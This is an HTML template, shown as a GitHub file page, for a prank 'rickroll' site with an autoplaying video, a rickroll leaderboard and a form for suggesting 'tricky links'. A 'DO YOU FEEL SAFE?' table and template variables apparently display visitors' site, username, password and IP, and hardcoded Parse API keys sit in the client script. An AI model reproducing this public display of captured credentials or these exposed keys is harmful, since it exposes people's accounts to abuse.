rickroll/index.html at main · Probablew/rickroll · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<!DOCTYPE html>
<html>
	<head>
		<title>Rickroll</title>
		<link href="/public/css/rickroll.css" rel="stylesheet">
    <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
    <script src="http://code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
    <script src="http://www.parsecdn.com/js/parse-1.2.18.min.js"></script>
    <script src="/public/js/historyboard.js"></script>
    <!--script src="public/js/ideas.js"></script-->
    <script src="/public/js/leaderboard.js"></script>
    <script src="/public/js/bootstrap.js"></script>
    <link href="/public/css/bootstrap.css" rel="stylesheet">
    <link href="/public/css/bootstrap-theme.css" rel="stylesheet">

 </head>

 <body>
    <!-- 1. The <iframe> (and video player) will replace this <div> tag. -->

  <div class="background-video-wrapper">
      <video id="background-video" loop preload="auto" autoplay>
          <source src="/public/rolled.webm" type="video/webm">
      </video>
  </div>


  <div class="scroll panel panel-default unopened unloaded" id="leaderboard">
    <div class="table-wrapper">
      <table id="leaderboard-table" class="table table-striped table-hover">
        <tr>
          <th>User</th>
          <th># Rick Rolls</th>
        </tr>
      </table>
    </div>
    <div class="handle" id="leaderboard-handle">
      <p>LEADERBOARD<p>
    </div>
  </div>

  <div class="scroll panel panel-default unopened unloaded" id="historyboard">
    <div class="table-wrapper">
      <table id="history-table" class="table table-striped table-hover">
        <tr>
          <th>Site</th>
          <th>Username</th>
          <th>PW</th>
        </tr>
      </table>
    </div>
    <div class="handle" id="historyboard-handle">
      <p>DO YOU FEEL SAFE?</p>
    </div>
  </div>

  <div class="navbar navbar-fixed-bottom">
    <form class="form-inline clear-top" role="form" id="ideas">
      <div class="form-group">
        <label class="sr-only" for="exampleInputEmail2">Email address</label>
        <input type="text" class="form-control" id="i" placeholder="Suggest a tricky link:">
      </div>
      <button class="btn btn-default" href="#" id="s">Submit</button>
    </form>
  </div>

    <script>

      window.IP = "{{ ip }}";
      window.URL = "{{ url }}";
      window.USERNAME = "{{ username }}";
      window.PASSWORD = "{{ password }}";

      var tag = document.createElement('script');

      tag.src = "https://www.youtube.com/iframe_api";
      var firstScriptTag = document.getElementsByTagName('script')[0];
      firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);

      // 3. This function creates an <iframe> (and YouTube player)
      //    after the API code downloads.
      var player;
      function onYouTubeIframeAPIReady() {
        player = new YT.Player('player', {
          height: '100%',
          width: '100%',
          videoId:'dQw4w9WgXcQ',
          playerVars: { 'autoplay': 1, 'controls': 0, 'showinfo' : 0, 'wmode' : 'transparent', 'modestbranding': 1, 'rel':0, 'loop':1, 'playlist':'dQw4w9WgXcQ'},
          events: {
            'onReady': onPlayerReady,
          },
          version: 3
        });
      }

      // 4. The API will call this function when the video player is ready.
      function onPlayerReady(event) {
        event.target.playVideo();
      }
    </script>
   <script>
   $("#s").click(function(){
     Parse.initialize("KNf3x2GGrkFOoRapY8D9y6PkrHKRPlk6FgeWblEF", "hfutDYnw41mayLiVZdcNBL3e3d1fB9DAfoAw5XtO");
    console.log("we submitted");
    var text = $("input").val();
    var Suggestion = Parse.Object.extend("Suggestion");
    var site = new Suggestion();
    site.set("url", text);
    site.save();
    $("#i").val("");
  });
   </script>
  </body>

</html>